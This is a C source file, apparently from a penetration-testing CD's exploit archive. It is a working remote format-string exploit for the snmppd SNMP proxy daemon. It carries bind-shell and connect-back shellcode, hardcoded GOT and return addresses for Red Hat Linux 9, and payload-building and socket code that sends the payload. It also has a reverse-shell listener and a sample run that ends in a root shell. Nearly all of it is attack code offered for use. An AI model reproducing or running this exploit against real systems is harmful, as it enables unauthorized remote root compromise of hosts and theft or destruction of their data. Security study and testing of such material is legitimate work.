home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / snmp / snmppd.c < prev    next >
C/C++ Source or Header  |  2005-05-06  |  14KB  |  580 lines

  1. /*
  2. * Snmppd SNMP proxy daemon format string exploit
  3. *
  4. * cybertronic[at]gmx[dot]net 
  5. *
  6. * 04/29/2005
  7. *
  8. * buffer space is 1024 bytes 
  9. * (MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h )
  10. *
  11. * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: 
  12. * XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.
  13. * 73657571.58203a74.41414141
  14. *
  15. * This is annoying... there is no fixed input storage.
  16. * Buffer`s location sometimes varies for 0x980 bytes.
  17. * Below is a short dump. I highjacked the GOT entry
  18. * of strdup. Maybe there are some fixed pointers for
  19. * reliable exploitation. Drop me an email if you have
  20. * any suggestions
  21. *
  22. *
  23. * __strdup
  24. *
  25. * 0xbfffb450: 0x906e6824 0x90909090 0x90909090 0x90909090
  26. * 0xbfffb460: 0x90909090 0x90909090 0x90909090 0x90909090
  27. * 0xbfffb470: 0x90909090 0x90909090 0x90909090 0x90909090
  28. *
  29. * 0xbfffb3d0: 0x906e6824 0x90909090 0x90909090 0x90909090
  30. * 0xbfffb3e0: 0x90909090 0x90909090 0x90909090 0x90909090
  31. * 0xbfffb3f0: 0x90909090 0x90909090 0x90909090 0x90909090
  32. *
  33. * 0xbfffb6d0: 0x906e6824 0x90909090 0x90909090 0x90909090
  34. * 0xbfffb6e0: 0x90909090 0x90909090 0x90909090 0x90909090
  35. * 0xbfffb6f0: 0x90909090 0x90909090 0x90909090 0x90909090
  36. *
  37. * 0xbfffbdd0: 0x906e6824 0x90909090 0x90909090 0x90909090
  38. * 0xbfffbde0: 0x90909090 0x90909090 0x90909090 0x90909090
  39. * 0xbfffbdf0: 0x90909090 0x90909090 0x90909090 0x90909090
  40. *
  41. * 0xbfffc750: 0x906e6824 0x90909090 0x90909090 0x90909090
  42. * 0xbfffc760: 0x90909090 0x90909090 0x90909090 0x90909090
  43. * 0xbfffc770: 0x90909090 0x90909090 0x90909090 0x90909090
  44. *
  45. * 0804b1a0 R_386_JUMP_SLOT malloc
  46. * 0804b210 R_386_JUMP_SLOT memset
  47. * 0804b1fc R_386_JUMP_SLOT __strdup
  48. *
  49. * I succeeded on my third try with the same ret:
  50. *
  51. * __ __ _
  52. * _______ __/ /_ ___ _____/ /__________ ____ (_)____
  53. * / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
  54. * / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
  55. * \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
  56. * /____/
  57. * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
  58. * --[ connecting to localhost:164...done!
  59. * --[ select shellcode
  60. * |
  61. * |- [0] bind
  62. * `- [1] cb
  63. * >> 0
  64. * --[ using bind shellcode
  65. * --[ GOT: 0x0804b1fc
  66. * --[ RET: 0xbfffc750
  67. * --[ sending packet [ 1023 bytes ]...done!
  68. * --[ sleeping 5 seconds before connecting to localhost:20000...
  69. * --[ connecting to localhost:20000...done!
  70. * --[ b0x pwned - h4ve phun
  71. * id
  72. * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
  73. * 6(disk),10(wheel)
  74. *
  75. *
  76. */
  77.  
  78. #include <stdio.h>
  79. #include <sys/socket.h>
  80. #include <netinet/in.h>
  81. #include <netdb.h>
  82. #include <unistd.h>
  83.  
  84. #define NOP 0x90
  85.  
  86. #define RED "\E[31m\E[1m"
  87. #define GREEN "\E[32m\E[1m"
  88. #define YELLOW "\E[33m\E[1m"
  89. #define BLUE "\E[34m\E[1m"
  90. #define NORMAL "\E[m"
  91.  
  92. int connect_to_remote_host ( char* tip, unsigned short tport );
  93. int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
  94. int isip ( char *ip );
  95. int shell ( int s, char* tip );
  96. int usage ( char* name );
  97.  
  98. void start_reverse_handler ( unsigned short cbport );
  99. void connect_to_bindshell ( char* tip, unsigned short bport );
  100. void header ();
  101. void wait ( int sec );
  102.  
  103. /***********************
  104. * Linux x86 Shellcode *
  105. ***********************/
  106.  
  107. //131 bytes connect back port: 45295
  108. char reverseshell[] =
  109. "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
  110. "\x06\x51\xb1\x01\x51\xb1\x02\x51"
  111. "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
  112. "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
  113. "\x68\x41\x42\x43\x44\x66\x68\xb0"
  114. "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
  115. "\x10\x53\x57\x52\x89\xe1\xb3\x03"
  116. "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
  117. "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
  118. "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
  119. "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
  120. "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
  121. "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
  122. "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
  123. "\x2f\x62\x69\x89\xe3\x50\x53\x89"
  124. "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
  125. "\x01\xcd\x80";
  126.  
  127. //92 bytes bindcode port: 20000
  128. char bindshell[] =
  129. "\x31\xdb" // xor ebx, ebx
  130. "\xf7\xe3" // mul ebx
  131. "\xb0\x66" // mov al, 102
  132. "\x53" // push ebx
  133. "\x43" // inc ebx
  134. "\x53" // push ebx
  135. "\x43" // inc ebx
  136. "\x53" // push ebx
  137. "\x89\xe1" // mov ecx, esp
  138. "\x4b" // dec ebx
  139. "\xcd\x80" // int 80h
  140. "\x89\xc7" // mov edi, eax
  141. "\x52" // push edx
  142. "\x66\x68\x4e\x20" // push word 8270
  143. "\x43" // inc ebx
  144. "\x66\x53" // push bx
  145. "\x89\xe1" // mov ecx, esp
  146. "\xb0\xef" // mov al, 239
  147. "\xf6\xd0" // not al
  148. "\x50" // push eax
  149. "\x51" // push ecx
  150. "\x57" // push edi
  151. "\x89\xe1" // mov ecx, esp
  152. "\xb0\x66" // mov al, 102
  153. "\xcd\x80" // int 80h
  154. "\xb0\x66" // mov al, 102
  155. "\x43" // inc ebx
  156. "\x43" // inc ebx
  157. "\xcd\x80" // int 80h
  158. "\x50" // push eax
  159. "\x50" // push eax
  160. "\x57" // push edi
  161. "\x89\xe1" // mov ecx, esp
  162. "\x43" // inc ebx
  163. "\xb0\x66" // mov al, 102
  164. "\xcd\x80" // int 80h
  165. "\x89\xd9" // mov ecx, ebx
  166. "\x89\xc3" // mov ebx, eax
  167. "\xb0\x3f" // mov al, 63
  168. "\x49" // dec ecx
  169. "\xcd\x80" // int 80h
  170. "\x41" // inc ecx
  171. "\xe2\xf8" // loop lp
  172. "\x51" // push ecx
  173. "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
  174. "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
  175. "\x89\xe3" // mov ebx, esp
  176. "\x51" // push ecx
  177. "\x53" // push ebx
  178. "\x89\xe1" // mov ecx, esp
  179. "\xb0\xf4" // mov al, 244
  180. "\xf6\xd0" // not al
  181. "\xcd\x80"; // int 80h
  182.  
  183. typedef struct _args {
  184. char* tip;
  185. char* lip;
  186. int tport;
  187. int target;
  188. } args;
  189.  
  190. struct targets {
  191. int num;
  192. unsigned long smashaddr;
  193. unsigned long writeaddr;
  194. char name[64];
  195. }
  196.  
  197. target[]= {
  198. { 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  199. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  200. { 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  201. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  202. { 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  203. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  204. { 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, 
  205. //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
  206. { 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets if needed
  207. };
  208.  
  209. int
  210. connect_to_remote_host ( char* tip, unsigned short tport )
  211. {
  212. int s;
  213. struct sockaddr_in remote_addr;
  214. struct hostent* host_addr;
  215.  
  216. memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
  217. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  218. {
  219. printf ( "cannot resolve \"%s\"\n", tip );
  220. exit ( 1 );
  221. }
  222. remote_addr.sin_family = AF_INET;
  223. remote_addr.sin_port = htons ( tport );
  224. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  225. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  226. {
  227. printf ( "socket failed!\n" );
  228. exit ( 1 );
  229. }
  230. printf ( "--[ connecting to %s:%u...", tip, tport );
  231. if ( connect ( s, ( struct sockaddr * ) &remote_addr, 
  232. sizeof ( struct sockaddr ) ) == -1 )
  233. {
  234. printf ( "failed!\n" );
  235. exit ( 1 );
  236. }
  237. printf ( "done!\n" );
  238. return ( s );
  239. }
  240.  
  241. int
  242.  
  243. exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
  244. {
  245. char buffer[1024];
  246. char a, b, c, d;
  247. unsigned int low, high;
  248. unsigned long ulcbip;
  249.  
  250. printf ( "--[ GOT: 0x%08x\n", smashaddr );
  251. printf ( "--[ RET: 0x%08x\n", writeaddr );
  252.  
  253. a = ( smashaddr & 0xff000000 ) >> 24;
  254. b = ( smashaddr & 0x00ff0000 ) >> 16;
  255. c = ( smashaddr & 0x0000ff00 ) >> 8;
  256. d = ( smashaddr & 0x000000ff );
  257.  
  258. high = ( writeaddr & 0xffff0000 ) >> 16;
  259. low = ( writeaddr & 0x0000ffff );
  260.  
  261. bzero ( &buffer, sizeof ( buffer ) );
  262. if ( high < low )
  263. {
  264. sprintf ( buffer,
  265. "X%c%c%c%c"
  266. "%c%c%c%c"
  267. "%%.%uu%%11$hn"
  268. "%%.%uu%%12$hn",
  269.  
  270. d + 2, c, b, a,
  271. d, c, b, a,
  272. high - 24,
  273. low - high );
  274. }
  275. else
  276. {
  277. sprintf ( buffer,
  278. "X%c%c%c%c"
  279. "%c%c%c%c"
  280. "%%.%uu%%12$hn"
  281. "%%.%uu%%11$hn",
  282.  
  283. d + 2, c, b, a,
  284. d, c, b, a,
  285. low -24,
  286. high - low );
  287. }
  288. memset ( buffer + strlen ( buffer ), NOP, sizeof 
  289. ( buffer ) - strlen ( buffer ) - 3 );
  290. if ( cbip == NULL )
  291. memcpy ( buffer + sizeof ( buffer ) - sizeof 
  292. ( bindshell ) - 3, bindshell, sizeof ( bindshell ) -1 );
  293. else
  294. {
  295. ulcbip = inet_addr ( cbip );
  296. memcpy ( &reverseshell[33], &ulcbip, 4 );
  297. memcpy ( buffer + sizeof ( buffer ) - sizeof ( reverseshell ) 
  298. - 3, reverseshell, sizeof ( reverseshell ) -1 );
  299. }
  300. strncat ( buffer, "\r\n", 2 );
  301.  
  302. printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
  303. if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
  304. {
  305. printf ( "failed!\n" );
  306. return ( 1 );
  307. }
  308. printf ( "done!\n" );
  309.  
  310. return ( 0 );
  311. }
  312.  
  313. int
  314. isip ( char *ip )
  315. {
  316. int a, b, c, d;
  317.  
  318. if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
  319. return ( 0 );
  320. if ( a < 1 )
  321. return ( 0 );
  322. if ( a > 255 )
  323. return 0;
  324. if ( b < 0 )
  325. return 0;
  326. if ( b > 255 )
  327. return 0;
  328. if ( c < 0 )
  329. return 0;
  330. if ( c > 255 )
  331. return 0;
  332. if ( d < 0 )
  333. return 0;
  334. if ( d > 255 )
  335. return 0;
  336. return 1;
  337. }
  338.  
  339. int
  340. shell ( int s, char* tip )
  341. {
  342. int n;
  343. char buffer[2048];
  344. fd_set fd_read;
  345.  
  346. printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w"
  347. NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v"
  348. YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
  349.  
  350. FD_ZERO ( &fd_read );
  351. FD_SET ( s, &fd_read );
  352. FD_SET ( 0, &fd_read );
  353.  
  354. while ( 1 )
  355. {
  356. FD_SET ( s, &fd_read );
  357. FD_SET ( 0, &fd_read );
  358.  
  359. if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
  360. break;
  361. if ( FD_ISSET ( s, &fd_read ) )
  362. {
  363. if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
  364. {
  365. printf ( "bye bye...\n" );
  366. return;
  367. }
  368. if ( write ( 1, buffer, n ) < 0 )
  369. {
  370. printf ( "bye bye...\n" );
  371. return;
  372. }
  373. }
  374. if ( FD_ISSET ( 0, &fd_read ) )
  375. {
  376. if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
  377. {
  378. printf ( "bye bye...\n" );
  379. return;
  380. }
  381. if ( send ( s, buffer, n, 0 ) < 0 )
  382. {
  383. printf ( "bye bye...\n" );
  384. return;
  385. }
  386. }
  387. usleep(10);
  388. }
  389. }
  390.  
  391. int
  392. usage ( char* name )
  393. {
  394. int i;
  395.  
  396. printf ( "\n" );
  397. printf ( "Note: all switches have to be specified!\n" );
  398. printf ( "You can choose between bind and cb shellcode later!\n" );
  399. printf ( "\n" );
  400. printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>\n", name );
  401. printf ( "\n" );
  402. printf ( "Targets\n\n" );
  403. for ( i = 0; i < 5; i++ )
  404. printf ( "\t[%d] [0x%08x] [0x%08x] [%s]\n", target[i].num, 
  405. target[i].smashaddr, target[i].writeaddr, target[i].name );
  406. printf ( "\n" );
  407. exit ( 1 );
  408. }
  409.  
  410. void
  411. connect_to_bindshell ( char* tip, unsigned short bport )
  412. {
  413. int s;
  414. int sec = 5; // change this for fast targets
  415. struct sockaddr_in remote_addr;
  416. struct hostent *host_addr;
  417.  
  418. if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
  419. {
  420. fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
  421. exit ( 1 );
  422. }
  423.  
  424. remote_addr.sin_family = AF_INET;
  425. remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
  426. remote_addr.sin_port = htons ( bport );
  427.  
  428. if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
  429. {
  430. printf ( "socket failed!\n" );
  431. exit ( 1 );
  432. }
  433. printf ("--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
  434. wait ( sec );
  435. printf ( "--[ connecting to %s:%u...", tip, bport );
  436. if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
  437. {
  438. printf ( RED "failed!\n" NORMAL);
  439. exit ( 1 );
  440. }
  441. printf ( YELLOW "done!\n" NORMAL);
  442. shell ( s, tip );
  443. }
  444.  
  445. void
  446. header ()
  447. {
  448. printf ( " __ __ _ \n" );
  449. printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
  450. printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
  451. printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
  452. printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
  453. printf ( " /____/ \n\n" );
  454. printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
  455. }
  456.  
  457. void
  458. parse_arguments ( int argc, char* argv[], args* argp )
  459. {
  460. int i = 0;
  461.  
  462. while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
  463. {
  464. switch ( i )
  465. {
  466. case 'h':
  467. argp->tip = optarg;
  468. break;
  469. case 'p':
  470. argp->tport = atoi ( optarg );
  471. break;
  472. case 'l':
  473. argp->lip = optarg;
  474. break;
  475. case 't':
  476. argp->target = strtoul ( optarg, NULL, 16 );
  477. break;
  478. case ':':
  479. case '?':
  480. default:
  481. usage ( argv[0] );
  482. }
  483. }
  484.  
  485. if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 
  486. || argp->lip == NULL || argp->target < 0 || argp->target > 4 )
  487. usage ( argv[0] );
  488. }
  489.  
  490. void
  491. start_reverse_handler ( unsigned short cbport )
  492. {
  493. int s1, s2;
  494. struct sockaddr_in cliaddr, servaddr;
  495. socklen_t clilen = sizeof ( cliaddr );
  496.  
  497. bzero ( &servaddr, sizeof ( servaddr ) );
  498. servaddr.sin_family = AF_INET;
  499. servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
  500. servaddr.sin_port = htons ( cbport );
  501.  
  502. printf ( "--[ starting reverse handler [port: %u]...", cbport );
  503. if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
  504. {
  505. printf ( "socket failed!\n" );
  506. exit ( 1 );
  507. }
  508. bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
  509. if ( listen ( s1, 1 ) == -1 )
  510. {
  511. printf ( "listen failed!\n" );
  512. exit ( 1 );
  513. }
  514. printf ( "done!\n" );
  515. if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
  516. {
  517. printf ( "accept failed!\n" );
  518. exit ( 1 );
  519. }
  520. close ( s1 );
  521. printf ( "--[ incomming connection from:\t%s\n", inet_ntoa ( cliaddr.sin_addr ) );
  522. shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
  523. close ( s2 );
  524. }
  525.  
  526. void
  527. wait ( int sec )
  528. {
  529. sleep ( sec );
  530. }
  531.  
  532. int
  533. main ( int argc, char* argv[] )
  534. {
  535. int s, option;
  536. args myargs;
  537.  
  538. system ( "clear" );
  539. header ();
  540. parse_arguments ( argc, argv, &myargs );
  541. s = connect_to_remote_host ( myargs.tip, myargs.tport );
  542.  
  543. printf ( "--[ select shellcode\n" );
  544. printf ( " |\n" );
  545. printf ( " |- [0] bind\n" );
  546. printf ( " `- [1] cb\n" );
  547. printf ( ">> " );
  548. scanf ( "%d", &option );
  549. switch ( option )
  550. {
  551. case 0:
  552. printf ( "--[ using bind shellcode\n" );
  553. if ( exploit ( s, target[myargs.target].smashaddr, 
  554. target[myargs.target].writeaddr, NULL ) == 1 )
  555. {
  556. printf ( "exploitation failed!\n" );
  557. exit ( 1 );
  558. }
  559. connect_to_bindshell ( myargs.tip, 20000 );
  560. break;
  561. case 1:
  562. printf ( "--[ using cb shellcode\n" );
  563. if ( exploit ( s, target[myargs.target].smashaddr, 
  564. target[myargs.target].writeaddr, myargs.lip ) == 1 )
  565. {
  566. printf ( "exploitation failed!\n" );
  567. exit ( 1 );
  568. }
  569. start_reverse_handler ( 45295 );
  570. break;
  571. default:
  572. printf ( "--[ invalid shellcode!\n" ); exit ( 1 );
  573. }
  574. close ( s );
  575. return 0;
  576. }
  577.  
  578. Integration
  579.